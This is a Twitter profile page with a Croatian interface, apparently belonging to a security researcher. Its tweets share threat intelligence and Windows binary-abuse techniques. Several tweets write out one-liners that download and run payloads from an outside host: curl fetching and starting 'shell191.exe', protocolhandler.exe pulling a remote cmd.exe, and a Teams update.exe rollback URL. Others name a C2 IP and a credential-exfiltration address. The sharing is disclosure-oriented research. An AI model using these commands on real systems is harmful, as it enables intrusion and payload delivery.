Reegun

@reegun21

Threat - Researcher - Engineer - - #800080 Teamer - Security Trainer - Father

linkedin.com/in/reegun/
Vrijeme pridruživanja: prosinac 2009.
13 fotografija ili videozapisa Fotografije i videozapisi

Tweetovi

Blokirali ste korisnika/cu @reegun21

Jeste li sigurni da želite vidjeti te tweetove? Time nećete deblokirati korisnika/cu @reegun21

  1. Prikvačeni tweet
    4. velj

    is back, Connects to 194.36.188[.]132 via Email campaign c2/[random].png - PS script c2/[random].jpg - PS script c2/[random].asp - encrypted c2/[random].asp - encrypted

    8 proslijeđenih tweetova 12 korisnika označava da im se sviđa
    Poništi
  2. proslijedio/la je Tweet
    3. velj

    TeamViewer stored user passwords encrypted, not hashed, and the key is now public

    148 proslijeđenih tweetova 188 korisnika označava da im se sviđa
    Poništi
  3. proslijedio/la je Tweet
    2. velj

    SettingSyncHost.exe as a LolBin cd %TEMP% & c:\windows\system32\SettingSyncHost.exe -LoadAndRunDiagScript foo

    167 proslijeđenih tweetova 363 korisnika označavaju da im se sviđa
    Poništi
  4. 28. sij

    cc

    1 reply
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  5. 28. sij

    .exe is the new .exe  -   Affected systems - Windows 10 build 17063 and Later curl -O http://192.168.191.1/shell191.exe & start shell191.exe More info -

    119 proslijeđenih tweetova 276 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  6. 24. sij

    download via Binary .exe C:\[office installed folder]\root\[version]\ protocolhandler.exe "http://192.168.1.111/cmd.exe" cc

    5 replies 86 proslijeđenih tweetova 203 korisnika označavaju da im se sviđa
    Poništi
  7. 23. sij

    Fixed now. Found during house keeping my notebook,Thought of sharing to community.

    3 korisnika označavaju da im se sviđa
    Poništi
  8. proslijedio/la je Tweet
    7. sij

    Very useful

    175 proslijeđenih tweetova 404 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  9. 23. ruj 2019.

    Office binaries added to || Writeup - Thanks to

    1 reply 119 proslijeđenih tweetova 227 korisnika označava da im se sviđa
    Poništi
  10. proslijedio/la je Tweet
    13. ruj 2019.

    The following paths within %windir% are writable by any user. Now you know. Security descriptor auditing is valuable.

    16 replies 422 proslijeđena tweeta 978 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  11. 9. ruj 2019.

    I clarified some of the areas in the same writeup , You can find the latest update here

    1 proslijeđeni tweet 4 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  12. 8. ruj 2019.

    CC

    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  13. 8. ruj 2019.

    | Exe Sideloading aka Exe proxying attack technique, Most of the / applications affected, No need of installation. Medium : Youtube : Thanks to ,

    6 replies 55 proslijeđenih tweetova 141 korisnik označava da mu se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  14. 24. srp 2019.

    wave ,Stolen creds are sent to 'megauj@gmail.com' , The adversary was already covered by 1F722BFF2471A5773A1A6724675AAE1C

    8 korisnika označava da im se sviđa
    Poništi
  15. 19. srp 2019.

    Nice one

    Dynamic Mac Malware Analysis using DTrace
    Poništi
  16. 13. srp 2019.

    CC

    1 proslijeđeni tweet 1 korisnik označava da mu se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  17. 13. srp 2019.

    Unsanitized file validation leads to payload download via Office binaries, Using known feature we can execute the downloaded payload. Microsoft said , The behaviour was intentionally designed. Writeup : POC :

    49 proslijeđenih tweetova 122 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  18. 1. srp 2019.

    Found another vulnerable parameter where Microsoft Teams do remote download and execute. Vulnerable parameter : update.exe --updateRollback=URL to package squirrel.exe --updateRollback=URL to package CC:

    1 reply 128 proslijeđenih tweetova 237 korisnika označava da im se sviđa
    Poništi
  19. 1. srp 2019.

    Great work

    1 korisnik označava da mu se sviđa
    Poništi
  20. 30. lip 2019.

    Microsoft 'OneDrive' in %localappdata% with write access by default installation , Malware/Insiders can able to disguise the execution. Org's , push your installation to "C:\Program Files (x86)" Fix: OneDriveSetup.exe /allusers

    1 reply 6 proslijeđenih tweetova 31 korisnik označava da mu se sviđa
    Poništi

@reegun21 još nije objavio nijedan Tweet.

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.

    Možda bi vam se svidjelo i ovo:

    ·